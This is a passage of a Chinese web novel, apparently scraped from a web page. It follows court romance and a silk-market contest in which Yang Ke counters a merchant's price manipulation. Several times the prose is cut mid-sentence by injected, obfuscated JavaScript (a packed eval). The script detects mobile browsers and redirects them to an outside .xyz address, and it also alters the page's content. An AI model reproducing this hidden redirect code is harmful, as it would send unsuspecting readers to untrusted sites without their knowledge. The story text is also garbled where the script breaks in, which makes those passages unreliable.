听到武华殿,杨柯心里忽然一滞,嘴上扯出一个笑:“姐姐说笑啦。”她的目光划过众人手上的账本,轻声道:“忙你们的吧,我去整理些文书。” 人群随着欢声笑语渐渐散去,杨柯独自走到案前,桌上堆满了竹简宣纸,她伸手去取,却发现自己已无事可做,只是在这里拖延时间。 忽然身前一道声音响起:“阿柯,你总算回来了!” 杨柯猛地抬头,公孙拿着一沓纸张站在她跟前,脸上带着几分急切,“波斯的订单已经下来了,等第一批丝绸完工,就得用船运出去。” 望见公孙眉间愁绪,杨柯疑惑道:“这岂不是好事?” “上月李司空的商船遇匪,丝绸沉了一半。”公孙摇头感叹,“水匪一直是户部的心头大患。”忽然她话锋一转,眼中亮起精光,“不过这次有兵部帮忙,事情就好办了!” 杨柯听到“兵部”,心里一咯噔,却听公孙继续道:“若有兵部军旗放在商船船头,谁看了不害怕?别说是水匪了,就是水鬼也得绕道走!” 公孙说得兴奋,随即摸出一枚鎏金令牌:“这是借旗符,只要羲王殿下钤个印就行。”说着冲她眨眨眼,令牌也塞进了杨柯手心,“姐姐想着,你来办此事最合适。你曾在羲王身边办事,说起话来可比我们有分量多了!” “可是……” 见杨柯犹犹豫豫,公孙往前凑近半步,“放心,兵部侍郎都签了字。再说……”她突然笑起来,露出两个梨涡,“你在他殿前侍奉了这么些时日,难道一面军旗的情分都不值?” 杨柯眉间紧了紧,还是答应了下来:“好,我去试试吧。” 杨柯一步顿一步地往武华殿的方向走,月亮将她的影子拉得老长,脚步在青砖上拖出簌簌的声响,整个人像是勾魂的黑无常。 “公孙怎么回事,偏偏要我去求他,还专挑这时候……”杨柯搅着衣角,低声鼓囊着,“若宇文泰不在宫里,而是在王府呢?”她一壁盘算,一壁放松了下来,“若是如此,我也好跟公孙有个交代了。人不在,那可怪不着我!” 她加快脚步,很快便到了武华殿。但还未跨进殿门,她的脚却忽然像灌了铅——书房里的灯光正得意洋洋地照到她脸上——此刻宇文泰正在宫中! 这下好了,无论如何,自己是要去求他这一回了。 “老天爷呀……”杨柯懊恼地拍了拍额头,硬着头皮往里继续走,廊下的长灯突然被风刮得晃了晃,灯影里晃出个熟悉的身影,小顺子正抱着一叠中药补子走出来,见了她立刻堆起笑:“杨姑娘,您回来了!”他压低声音往前凑,身上的麝香味扑面而来,“方才殿下还念叨您呢,说起丝绸行会的事。” “我不是来…….”杨柯话说出口,又觉不妥,“尚书局……派了差事过来。”她的声音发飘,目光却忍不住瞥向偏殿那扇半掩的槅门。 小顺子饶有意味地笑了笑,“得嘞。要不奴才替您通传……” “不必!”杨柯脱口而出,见对方发愣,她扯起一个笑,解释道:“天色也晚了,我自己去就行,不必再劳烦公公。” 小顺子笑得更热络了:“那杨姑娘慢走,奴才替您守着廊门——” “多谢公公。”杨柯听他这番热言热语,心里奇怪得很,但还有要事在身,便也不作多想,继续往书房所在的偏殿行去了。 踏进殿厅,离着书房还有几十步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那这是什么?”宇文泰忽然侧首看她,鼻尖的温热气息扑在她手背,“新仇旧恨一起算?” 杨柯明白他身上的伤皆因自己而起,语气也放柔了下来:“我只是怕弄疼了殿下。” “重些也好。”宇文泰转过头去,抬臂调整纱布,肌肉起伏的线条像是涌动的波浪,“疼了才会记住,谁在替我上药。” 杨柯本已平静,听了这话心中再次汹涌起来,手上的玉碾跟着一颤,他的目光也恰时转了过来:“今日在沈府可还顺利?” 听他提起沈府,杨柯又想起半日前的香囊,心里的火星子“腾”地烧了起来,玉碾也不知不觉地压在伤口上。 “咝——”宇文泰疼得眉头一皱,“你下手怎地这么没轻没重?” 听言,杨柯心火烧得更旺,抬手便将药碗用力一掷,“当啷”一声砸在桌上。 72.融化 “既然殿下嫌我手拙,不妨寻个温柔女子来。”杨柯话还未说完,人已经转身就走。 可刚迈出一步,却觉腕上一紧,力道不轻不重,却不容挣脱。 “今日脾气这般大?”宇文泰声线平静,漫不经心中隐隐带着一分探究。 杨柯抿紧嘴唇,不肯回头,只硬声道:“我笨手笨脚的,比不得殿下心上人细致。” 宇文泰眉梢微挑,指尖在她腕间轻轻一摩,似笑非笑道:“你说——沈澜之?” 杨柯偏过头去,语气生硬:“沈姑娘花容月貌,温婉娴淑,给您上药,最是合适!” 宇文泰徐徐起身,将她再次拉近,低眸看她的眼底却掠过一丝笑意:“你与她计较什么?” “谁计较了!”杨柯鼓着腮帮子,说完又觉失言,懊恼地咬住下唇。 宇文泰饶有兴致地看着她,柔声道:“那又为何动怒?” 此时,杨柯承认也不是,不承认也不是。她被逼得无法,索性豁出去,抬头瞪他:“是!我就是计较!我的心眼比针眼还小,殿下满意了?” 宇文泰静静地听着,随后微微倾身,在她耳边低语:“早这般直率,何须绕弯?” 杨柯闻言,只觉羞恼交加,埋首胸前,不敢看他,嘴上却嘟囔着:“你就会欺负人……寻了沈家姑娘,又要来招惹我。” 屋里静了瞬,却听宇文泰道:“你不明白其中缘由。”那语气底下却藏着三分无奈。 杨柯不解,只扬声道:“是啊,我何曾送过她半枚香囊?又何曾与她共处一室,消磨整整两个时辰?!”她越说越气,瞪着他的眼睛里泪波闪动,又是委屈又是羞愤。 宇文泰反而笑了出来:“原来我的行踪,一直有人掐着时辰记着。” 杨柯偏过头去,耳尖却悄悄红了:“谁有那耐心?都是道听途说的。” “阿柯,”他忽然抬手,指腹蹭上她脸颊,力道很轻,似蝶翼触上花蕊,带着小心翼翼的珍重,“那香囊只为掩人耳目。沈澜之是攻破沈府最好的棋眼。至于那两炷香……是算准了她情动之处,甘愿为我所用。” 杨柯睫毛颤了颤:“可沈家已经答应签约……” 宇文泰神色忽然变得严肃:“你刚离开沈府,便有人紧随而至。” “谁?”杨柯急切追问。 “易云舒。” 夜风骤紧,卷着浓烈的玫瑰香气灌进窗缝,桌上的烛火“噼啪”一声炸开火星。 杨柯微微睁大双眼:“难道……是易望林……” “嗯。”宇文泰沉沉应了一声,“其中凶险异常,我提前布局,”他的声音重新轻了下来,带着一种奇异的柔和,“是希望,能护你周全。”最后四字,几乎是贴着她的唇瓣低喃而出,温热的呼吸与她的交融,形成令人眩晕的暧昧。 晚风穿庭而过,带起纱帐轻扬。杨柯呆立于他面前,感受着宇文泰指尖蛊惑般的轻柔,像羽毛搔刮着她早已悸动的心尖,激起层层叠叠的波浪。 他的手指终于停下,转而温存地捧起她的脸颊,深邃的眼眸紧锁,只为等待她的答案。 一股前所未有的冲动攫住了杨柯。她微微踮起脚尖,带着破釜沉舟般的缓慢与坚定,将自己的唇极轻、极缓地贴上了他的。 双唇相触的瞬间,周遭的一切声响骤然褪去,只剩下彼此灼热的、纠缠的呼吸。 他的唇瓣温热,撕咬研磨之下,还有一丝尚未褪去的茶香。 不知过了多久,或许只是须臾,又仿佛已地久天长。 那缠绵躁动的静止终于被打破——宇文泰喉间逸出一声极低、极沉的叹息,“阿柯,你终于接受我了。” 烛影摇红,描摹出他的如画眉眼,照见他眼底的灼灼炙热。 就在这令人沉溺的边缘,杨柯心中猛地一动,一股清明的勇气拨开迷醉。 她微微后仰,眼尾泛着动人的薄红,好似初春的桃花,直直望进他因情动而愈发幽深的眼底:“不只是接受你。”她的声音带着亲吻后的微哑,却字字清晰,“宇文泰,我……心悦于你。” 他眼底的笑意瞬间漾开,黑漆漆的眸子盛满了醉人的星光,毫不避讳地向她袒露着同样汹涌的情意:“我知道。”声音虽沉,却带着笃定和满足。 被他灼热坦荡的目光笼罩,杨柯心底那点好不容易聚起的勇气瞬间融成了一汪羞人的春水。她匆忙垂下眼睑,却掩不住眼角眉梢的盈盈笑意。 瞧见她羞赧的模样,宇文泰只觉心尖最柔软的地方被轻轻撞了一下,怜爱之情满溢而出。他低笑一声,指尖轻捏上她粉红的脸颊:“一年前在紫英阁外的巷道里,你也是这副表情。” 听他猝不及防提起那晚的糗事,杨柯羞恼地伸手去捏他作怪的手指,他却反手将她的柔夷包裹在掌心,顺势收紧,唇角的笑意更深:“当时我故意逗你,你又是羞又是怕,脸上还粉嘟嘟的,像个熟透的桃子,着实可爱得紧。” 温热的气息拂过耳垂,烧得滚烫火热。为了掩饰羞涩,杨柯咕哝着翻起旧账:“那……那最初见面的时候,你还装作不认识我,甚至故意针对我!冷着脸,凶得很!” 宇文泰佯作失忆:“有么?我怎么一点儿都不记得了。” 杨柯气鼓鼓地掰着手指,细数他的“罪状”:“让我罚抄一百遍《内则》,还有……” 未等她说完,宇文泰忽然俯身,温热的吻落在了她的额头。紧接着轻抚她的脸颊,温柔低喃道:“那时,是为了让你远离逍遥居,也想……把你推远。我害怕给你带来危险。当然,这只是一厢情愿的蠢念头,”他自嘲地勾了勾唇,眼中翻涌起更浓烈的情愫,“最后,还是控制不住地被你吸引。” 那声音里含着的无尽缱绻还未来得及化开,他已一把将她揽进怀里。 窗外月牙悄悄探进窗棂,清辉漫过青砖,将二人身影晕染、重叠,好似一对早已密不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721710|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可分的爱侣。 宇文泰的下颌轻轻抵着杨柯的发顶,声线中却带着一丝遥远而苦涩的叹息:“其实,每一晚,看着你坐在窗前,陪我批奏文书,我都在盼着,何时能有今日。” 杨柯从他怀里起身,顺着他的视线,投向书房那里的熟悉方向,而目光收回时,却发现面前这张俊美无俦的脸上,竟流露出一种近乎脆弱的落寞。 “因为你心中始终有个别人在,”他喃喃低语,目光终于聚焦在她脸上,却带着洞悉一切的无奈,“纵使我用尽手段将你绑在这里,可你的心,终究不在。” 他话中的隐忍和酸楚,像细针一般猛地刺入杨柯心底,“所以当初你会选择放我出宫?” 宇文泰垂下眼眸,浓密的睫毛投落阴影,遮住了万千思绪。沉寂片刻,才听到他极轻却重逾千斤的声音:“是。” 一个字,道尽了所有的挣扎与深情。他抬起眸,目光平静地迎视着杨柯,“虽然我得不到你,但至少,能让你幸福。” 这平静话语下裹着的绝望和成全,瞬间击溃了杨柯所有的心防。巨大的酸楚和怜惜随之汹涌而来,她再顾不得其他,双手捧起他微凉的脸颊,让他的黑眸完完全全地映照着自己:“阿泰,你再也不用等了。”她的声音带着浓重的鼻音,却异常坚定清晰,“我心里的人,只有你。”泪水终于滑落,却是释然的,甜蜜的。 宇文泰的嘴角先是微微抽动,继而像是挣脱了长久以来的桎梏,一点一点,扬起一个近乎童真的灿烂笑容,纯粹得令人心颤。幸福的暖流如同潮水,毫无保留地涌进他的眼底,几乎要满溢出来。 灼热的气息再次逼近,还未等杨柯反应过来,下一瞬,已是天旋地转! 宇文泰握着她腰肢的手掌猛地施力,带着不容抗拒的强势,将她更紧密、更彻底地嵌进自己的怀里。方才分离片刻的唇,卷挟着比之前更为汹涌的渴望,重重地覆了上来。不再是最初的轻触试探,而是带着明确占有欲的厮磨。 他温柔而强势地撬开她的齿关,加深了这个迟来了太久、太久的吻。 杨柯感受着他身躯的重量、满腔的柔情,似乎周遭的一切都被摒弃,留给他们自己的,只有彼此的呼吸、擂鼓般的心跳,以及唇齿间那燎原的烈火,将所有的羞涩、不安、过往的试探与分离,都焚烧殆尽,只余下最纯粹、最汹涌的爱意。 一吻方歇,唇齿间的燎原大火却将熄未熄,灼热的余蕴灌满了整间寝殿。 房内烛火被夜风温柔揉弄,焰心左右摇曳,柔软无骨。 二人额头相抵,鼻尖几乎相触。宇文泰灼热的呼吸细细密密地喷洒在杨柯颈侧,带着轻微的颤抖,像是无声的哽咽,又像是内心深处最满足的叹息。 他伸臂将她拥入怀中。杨柯将脸颊贴在他胸膛,听见他沉稳有力的心跳,一下,两下,渐渐与自己的相合为一。 月光溶溶,远处更漏声声,却道不尽此刻的缠缠绵绵。 73.危机 早上是被窗外照进的阳光唤醒的。杨柯睁开眼睛,臂弯下压着的月白绸夹缎子沁着龙涎香,她这才惊觉自己身在宇文泰的寝殿内,心中不禁泛起一阵甜蜜。 昨夜在书房陪着他批奏折到了三更,终于支撑不住,昏沉睡去。也不知道他何时歇下,此刻屋里早已不见人影。 正想着,彩鸣端着铜盆推门而入。 “彩鸣,殿下去了哪里?”杨柯撑起身子问道。 “今儿个初五,本该昨日早朝的,陛下临时改到今日。殿下卯时就匆匆去了。” 杨柯立即问道:“卯时?他何时睡下的?” 彩鸣边说边绞干帕子:“好像……好像昨夜一宿没合眼。” 见她脸色难看,彩鸣忙宽慰道:“大人别担心,殿下身体一向刚健,前日还连着练了两个时辰的剑呢!” 杨柯叹了口气:“再好的身子也经不起这么折腾!”想了想,又吩咐道,“快去膳房,做些八珍膏,等殿下回来,务必让他服下。” 彩鸣听完,笑着点头答应。 辰时,杨柯带着宇文泰给的钤印回到尚书局,公孙见了笑得两眼弯弯,直夸她办事爽利。 走出宫门,坐上驶往行会的马车,杨柯的心情已是截然不同。此刻,她满心只盼着能早些了结行会的差事,尽快再回到宫中。 刚踏进行会大堂,忽然传来一声惊呼:“杨大人,不好啦!”当值小官王小二连滚带爬地冲了过来,手里攥着一沓纸张。 杨柯认出他手里的正是昨日签下的契约,又见他身后乌泱泱挤着的行会众人,一个一个皆苦着张脸,活脱脱一群被霜打的茄子。 杨柯心里一咯噔,嘴上却调侃道:“你们这是唱的哪出戏?” 王小二道:“昨夜庆云号扫空了十三家丝行,如今生丝市价涨到官价五倍了!方才行会的商户说……说咱们得补差价……” 话还没说完,账房先生老张突然从人群中挤出半截身子:“三百万两啊!够买下整条朱雀大街的丝绸铺子了!” 杨柯眼前一黑:“三百万……你如何算的账?” 老张苦着脸道:“按照契约上的规定呀,原先每担才六两,如今涨到了三十两,签约丝行的生丝至少有十万多担。” 杨柯抢过契约,第七条款的蝇头小楷像针一般扎眼——“行会须按市价收购成员富余生丝。”而“市价”的释义竟藏在最后一页附录的角落里,墨迹晕染处赫然写着:“市价乃当日市价。” “沈裕之好手段!”杨柯怒得将契约摔在案上,震得砚台里的墨汁飞溅而出,恰巧落在了最后一页。 墨迹“唰”地晕开,她忽然看到纸背的角落透出隐隐的茶渍水痕,而那里的墨色独独比其他地方要浅上三分。 杨柯这才恍然惊觉,原来那日沈裕之怒摔茶盏,就是为了将茶水泼在契约之上,而他精准避开了正文,独独浸透了最后一页的“当日市价”四字! 更令人胆寒的是,沈裕之不仅看清了宇文泰将沈澜之设为棋眼的布局,更反将他一军,在自己这里设下局中局! 签约当日,沈裕之刚把契约递来,那小厮便恰巧闯进来通报宇文泰和沈澜之的行踪。若她因宇文泰乱了心绪,必然会漏掉附录里的陷阱,让他得以蒙混过关;若她并未分心,沈裕之手里的茶水也会浸透纸页,任她如何检查也找不出什么差错来。 杨柯面上强作镇定,声音却微微颤抖:“老张,行会的银子还剩下多少?” 老张答道:“没……没多少了。若要填这窟窿,还差得远呢。” 众人见杨柯脸色越发难看,也明白此事已无回天之力,纷纷唉声叹气,“大人!沈裕之这招是要把咱们往绝路上逼啊!” 忽然,窗外刮起一阵狂风,将案头残页纷纷掀起。 杨柯静静望着漫天纷飞的纸片,眼中忽地一亮,她抓起老张的袖子,急切问道:“咱们行会在钱庄有没有相识的老主顾?” 老张挠着秃脑门:“有倒是有,”忽而脸色一变,“大人您莫不是要管钱庄借钱?咱们这……” “借什么借!”杨柯眼波一转,“我问你,如今市面上的生丝有多少?” 一旁的王小二反应快,立刻蹦跶起来,两根手指摆出个“十字”:“至少这个数!” 杨柯又问道:“买空又需要多少钱?” 王小二愣了愣,立即张圆了嘴巴:“那老狐狸莫不是把家底都掏空了?” 老张道:“商户多半拿宅子田契抵押,不过照沈家那铁公鸡不拔毛的尿性,他们料定行会束手无策,早把生丝当老母鸡,押进钱庄下金蛋了!” 杨柯敲了个响指:“不错!速速派人去钱庄打听打听,看看能不能探出点儿庆云号的底细来。” “好嘞!”王小二得了令,“嗖”地奔出门去派人。 “且慢!”杨柯拎住他衣领拽了回来,“前日咱们盘点工部仓库里的陈丝,我记得好像还剩了许多?” 老张道:“对呀,西仓还囤着几十万担十年陈丝,库房梁柱都被压得快塌了。” “好!沈裕之抬价,咱们就反其道而行之,来个‘范蠡抛售’!”说完,杨柯拽过桌上的梨木算盘,众人望着她的手噼里啪啦一阵拨弄,“既然他给我们使阴招,咱们也别客气。” 老张战战兢兢地插言:“可是,西库的陈丝怎及市面上的货色?商户岂会来买?” “老张糊涂!”杨柯抄起檀木印匣重重一磕,“咱们头顶戴的可是朝廷乌纱,难不成要让沈裕之那个老匹夫骑到龙袍上拉屎?” 老张似被感染,也挺直了腰杆,但又很快蔫了下去:“可……可光一个朝廷的身份有何用?” 杨柯“啪”地打开印匣:“看见没?这叫‘皇商金印’!没它,丝绸就别想出渭河渡口!沈裕之那笔波斯大订单,就是竹篮打水一场空!” 众人听得云里雾里,只见杨柯竖起一根手指:“第一条,凡是想过渭河渡口的,先拿生丝来换!” 王小二问道:“谁的生丝?” 杨柯道:“当然是咱们的!商户吞一担陈丝,咱们就给三担出洋配额,三两银子一担,比街边叫花子的破碗还便宜,这就叫一本万利!” 王小二挠着头皮嘟囔:“我咋觉得像‘一本亏利’呢?” “休得胡言!”杨柯攥起纸笔,塞进他怀里,“速速记下新约!” 王小二愣神道:“记些啥?” 杨柯抬手拍他脑袋:“我方才说的呀!” 见王小二抓耳挠腮地写画,杨柯竖起第二根手指:“第二条,陈丝织的绸子得经行会‘验明正身’,敢以次充好的,通通打回重造!” 旁边小官怯生生举手道:“这招是为甚?” 杨柯道:“若有商户想空手套白狼,咱们岂不是当了冤大头?” 老张抢过算盘,也拨拉起来,抬起头来时,满脸是汗:“我的大人哎!这算下来,账面得亏四十万两,您莫不是被沈裕之气糊涂了?” 杨柯神秘兮兮地压低声音道:“你且想,商户领货先交定银,按他们的订单算,每家少说也得一万两,这是头一桶金;把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“赵老板名下数十间绸缎庄,自然是识别好丝劣货的行家。我们行会卖的生丝虽非当季新货,却是工部早年采办的官用佳品,即便放了些时日,织锦裁衣仍是绰绰有余,各位敬请放心。”杨柯目光扫过满堂商贾,将烫金契约推过檀木长桌,“何况领了配额,便能拿到金印。” 四周的商户们交头接耳,纷纷拿起契约,皱眉细看起来。 庆云号的小厮突然站起:“官价虽低,可这配额限制……” “限制?哪来的限制?”杨柯双手叉腰,手指向契约,“新约第十三条写得清清楚楚,一担生丝换三担配额。诸位细算,就算全买行会的生丝,再加上三倍配额带来的利润,怕是比外头进货还要丰厚吧?” “你——”那小厮气得脸色涨红,还要争辩,却被沈裕之轻咳打断。 “我不过是照契约办事。”杨柯慢条斯理卷起契约,“明日辰时,户部会派人来登记配额。毕竟……”她顿了顿,望向满堂商户,“没有皇商金印,诸位的丝绸,怕是连渭河口的水闸都运不出去。” 众商户虽暗恼配额限制,但也深知“不怕官,就怕管”的道理。近来朝廷边关查验骤然加紧,若是从前,也只能咬碎了牙往肚子里咽,可今时不同往日,生丝市价一夜间疯涨数十倍,稍有门路的都打听到,原是庆云号沈裕之在幕后操控。此时,杨柯竟献出低价生丝,反倒帮他们解决了燃眉之急,虽说被限额捆住手脚,却实打实将成本降了下去。 孙娘子轻笑一声,眼睛瞟向沈裕之:“说起来,咱们在座各位跟沈掌柜一比,还真是小打小闹。听说庆云号刚接了笔波斯来的大单子?整整一百万担呐!真真羡慕死人。咱们几个捆一块儿,怕还抵不上沈老板的零头咧。我们小门小户,有什么可埋怨的,您说是吧,沈掌柜?” 她话里带刺,明显是把火往沈裕之身上引。 74.解困 沈裕之皮笑肉不笑,手中那枚水头极好的翡翠扳指无意识地转动着:“孙娘子言重了。都是为朝廷分忧,为陛下效力。生意有大有小,但忠心可都是一样的。” 见他避重就轻,不接波斯订单的话茬,孙娘子也悻悻然不说话了。 杨柯见状道:“沈掌柜这话说得在理!做生意,忠心为本。”她话锋一转,明亮的眼睛直视沈裕之,“不过若真按孙娘子所说,庆云号接了百万担大单,如今生丝价格疯涨,想必也倍感压力。若沈掌柜愿意把丝绸囤烂在库房里,那杨某也别无他法了。” 沈裕之脸上的笑容微微一滞,很快又发出爽朗大笑:“哈哈哈!杨大人这是说哪门子的话?沈某怎么越听越糊涂了?朝廷如此,是为了防范奸商,体恤我们这些正经商人,沈某感激都来不及,怎会唱反调?至于生丝行市,起起落落也是常事。庆云号根基尚稳,些许风浪,还经得起。” 杨柯听他将自己摘得干干净净,心里暗骂道:“奶奶的!谁不知道生丝价格就是你这死乌龟挑起来的?如今又演什么老好人!此番较量,我可要小心谨慎,别再让他算计了。”脸上笑着道:“沈掌柜这番境界,当得起商界魁首的称号!” 沈裕之回礼道:“杨大人初入朝堂,已能主持新政大局,后生可畏。只不过,您是不是忘了将配额相应的仓储清单列入其中?” 行会众人听了这话脸色皆变,向行会索要仓储清单乃是商事惯例,但这单子可有可无,不过是走个过场,但此刻沈裕之特意寻要,恐怕是借着由头,要在仓储账目里挑刺生事。 杨柯倒是不慌不忙:“沈掌柜做事,当真是细致周到,是杨柯考虑不周。”说完,她回身进入房内,出来时手上已拿出一叠文书,将最上面那封交给了沈裕之,其余由小官奉给其他商户。 堂中安静了半盏茶的功夫,除了偶尔响起问询之声,众人皆在逐一审阅新约细则,确认三倍配额与低价生丝条款无误后,陆续蘸墨签下名字。待最后一人离去,屋内只剩杨柯与行会心腹官员。 王二小凑近杨柯身边,低声问道:“大人,沈裕之执意要走储仓清单,依他的性子,怕不是拿仓储虚实来跟我们压价?” 杨柯笑道:“他想在暗处使手脚,我们不妨大方成全。” 王二小“啊”了一声,又急切道:“还请大人明示。” 杨柯道:“我给他的那份是假的。他的清单上,官储只剩三十万担,而其他商户的清单上却是百万担。” 王二小先是一愣,旋即双眼一亮,满眼敬佩:“大人这招虚实结合,当真是妙手!沈裕之若以为储仓充足,定会联合番邦,低价倾销货物,迫使行会降价,这时市价也随之降低;若信了虚假的三十万担,恐怕会继续购入生丝,抬高价格,反倒越赔越多。”他边说边不住点头,“咱们手里握着八十万担,不管怎么变,都能稳稳应对,让他的算盘彻底落空。” 杨柯刚点头应下,门外忽然响起一声呼号:“大人!工部送来生丝啦!” 她和王二小同时弹起身,一齐飞奔出门去。 行会院子里,上百只桐油木箱摞得足有两人高,众人挤在木箱前,又是惊叹又是兴奋。 “乖乖,这么多生丝!” “都是白花花的银子呀!” “快开箱查验查验!别叫工部那帮人糊弄了!” 在大家期待的目光下,箱盖被一一掀开,刺鼻的酸腐气味跟着扑面而来。箱中陈丝半数结着青黑霉斑,剩下的稍一用力捻搓,便碎成粉末簌簌往下掉。 人群顿时倒抽冷气。 老张凑近细看,眉毛耷拉成了“八”字:“西库的陈丝怕是放了十年不止,如今脆得跟薄纸似的!咱们若是硬卖给商户,人家转头就把行会骂惨了,以后谁还敢跟咱们做生意?” 有人翻着订单账本道:“二十多家商户的订单都签了!就这些破烂陈丝,拿什么交货?咱们又要上哪儿现找新丝去呀?”越说越带着哭腔。 听着此起彼伏的叹气声,王二小偷偷瞥了眼脸色煞白的杨柯,轻声道:“大人,咱们这可怎么办?” 杨柯太阳穴突突直跳,她在心里大叫着:“我怎有办法?!本想借陈丝盘活局面,谁承想竟是这般烂摊子!不仅行会信誉要砸,伯喻那三十万两银子也悬了……” 她盯着满地碎丝,只觉自己的未来就如这些霉丝烂絮一般,早晚得刨个土坑活埋进去! “柯儿——”熟悉的声音忽然从背后传来,“为娘来瞧瞧你这官当得如何?昨日孙娘子还在我跟前儿夸你呢!” 杨柯猛地回头,只见程玉槿一脸笑意地迈进门来,“娘……”她话还未出口,一股憋闷和委屈已瞬间涌上心头。 程玉槿见她脸色像是吃屎一般难看,不禁问道:“你这是怎么了?娘来了你就这般态度?” 杨柯忙摇头:“不是不是……”说着眼泪也跟着落了下来。 程玉槿见她泪眼婆娑,以为是思念成疾,不禁笑道:“哎呀,你这丫头,平日里没见你多挂念爹娘,怎地见了我来便哭成这样?” 杨柯又摇起头来,急得跺脚:“不是!不是!” 程玉槿脸色一变,看了看院中满地霉丝,又见众人神色难看,也察觉到了异样,于是镇定道:“柯儿,这是怎么回事?” 一旁的王二小上前,将昨日和方才的种种一一讲与程玉槿听。 程玉槿听完,也不禁眉头紧皱:“哎呀,这……”她一转头瞧见女儿悲从中来的模样,又收起脸上难色,“哭什么?我柯儿小小年纪便有如此智慧,已是难得。至于这些陈丝嘛,大不了赔钱就是。” 杨柯道:“我们哪来那么多钱呀!” 程玉槿柔声道:“娘以前怎地跟你讲的?船到桥头自然直。做买卖的,碰见这等事情,也算常见。”她卷起手帕拭了拭杨柯脸上的泪珠,“柯儿,别怕。” 杨柯听了额娘的温言软语,思绪也稳定下来,醒了醒鼻涕,道:“那这些陈丝如何办呐?我们已经签了二十万担了。” 程玉槿凤眉一挑,道:“你且等我片刻,娘马上回来。”说完,便转身出门,留杨柯和众人在原地大眼瞪小眼。 半柱香功夫未到,程玉槿已带着一群银发妇女疾步而来。 杨柯怔怔地望着她们,疑惑道:“娘,这是?” 程玉槿拍了拍女儿肩膀,转头对老姐妹们使了个眼色:“把家伙什搬出来!” 转眼间,院角支起几口大铁锅,柴火噼啪作响,霎时间满院水汽氤氲。 “都看好了!” 只见老妇人们一一抖开油布,将陈丝包裹起来,悬在沸锅上方,蒸腾的水汽裹着酸腐味直冲屋檐,熏得围观的众人直揉眼睛。 另一边,几个妇人木勺探进陶缸,米白色的浆糊顺着勺沿拉出透亮的丝线,滴进沸锅时发出 “滋啦” 轻响。 杨柯蹲下身细瞧:“这是什么戏法?” “糯米浆,等到陈丝被蒸透,便放进来煮。”孙嬷嬷说完,接过那边递来的陈丝,油布之下竟泛着通透的白光。 杨柯盯着她手上的动作,不禁担心道:“这能成么?别把丝煮成浆糊了。” “姑娘且瞧!”孙嬷嬷用木筷夹起蒸透的丝团,青黑霉斑已在水汽中淡成浅灰。她将丝团按进糯米浆里上下翻搅,反复揉捻,“这蒸骨法是咱江浙绸庄传了三代的秘方,当年咱爷们儿走漕运遇了水浸货,就是靠这法子救回来的。” 众人挤在锅台边,眼睛一眨不眨地盯着翻滚的沸水,一面担心陈丝被煮烂,一面又希望能煮出好丝来。 过了三盏茶的功夫,滚水逐渐平息成细浪。孙嬷嬷的竹筷探进锅里,轻轻挑起一缕。那原本一碰即碎的陈丝,此刻竟能被拉成半尺长的丝线,在日光里泛着珍珠母般的光泽。 有大胆的小厮伸手去捻,那丝线竟能随着力道弯曲伸展,柔韧得如同新抽的春丝,再没有半分脆裂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15741661|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 围观的众人先是一愣,随即发出阵阵低呼,有人伸手去摸铁锅,烫得直甩手指却笑得合不拢嘴。 “好哇!好哇!”杨柯喜上眉梢,“多谢嬢嬢们!没想到这些陈丝还能起死回生!我的命也保住啦!” 方才蒸丝的老妇人哈哈笑道:“这都是咱们民间的老方子,等闲人不外传的,就连朝廷都不晓得咧!” “多谢多谢!”杨柯回身示意,“二小,去屋里拿些好东西出来给嬢嬢们。” 王二小应道:“好嘞!”眨眼,他便抱着檀木匣出了门来,将匣子逐一打开,里头躺着的全是珍贵珠宝,“都是大人前些日子收的贡品,还请嬷嬷们赏脸!” 孙嬷嬷笑着推开匣子:“使不得!咱们当年受你娘照拂,这点情分算什么?” 其他妇人也纷纷摆手:“留着给行会周转,往后生意上有难处,尽管叫人捎信!” 杨柯心中满是感激,突然撩起裙摆就要行大礼,程玉槿眼疾手快拉住女儿,掐着她腰间低声嗔道:“成何体统!”转头对老姐妹们笑道,“既如此,改日我备下桂花酿,咱们好好叙旧!” 妇人们纷纷笑应道:“好!好!” 杨柯拱手道:“今日大恩,杨某没齿难忘。往后嬢嬢们若有半分难处,只需捎句话,杨某定当万分效劳!” 这些老妇人已到了在家含饴弄孙的年纪,与程玉槿也是一条绸裤长大的交情。她们权当杨柯是个孩子,此刻见她板着小脸郑重道谢,感动的同时更觉可爱欢喜,一时都笑成了朵花。 孙嬷嬷拍着她手背直乐:“这妮子,跟你娘年轻时一个模样!” 另一妇人大手一挥:“你们还有多少生丝要拾掇,尽数往我们丝纺送!” 杨柯望着院里如山的木箱:“就怕累着嬢嬢们……” 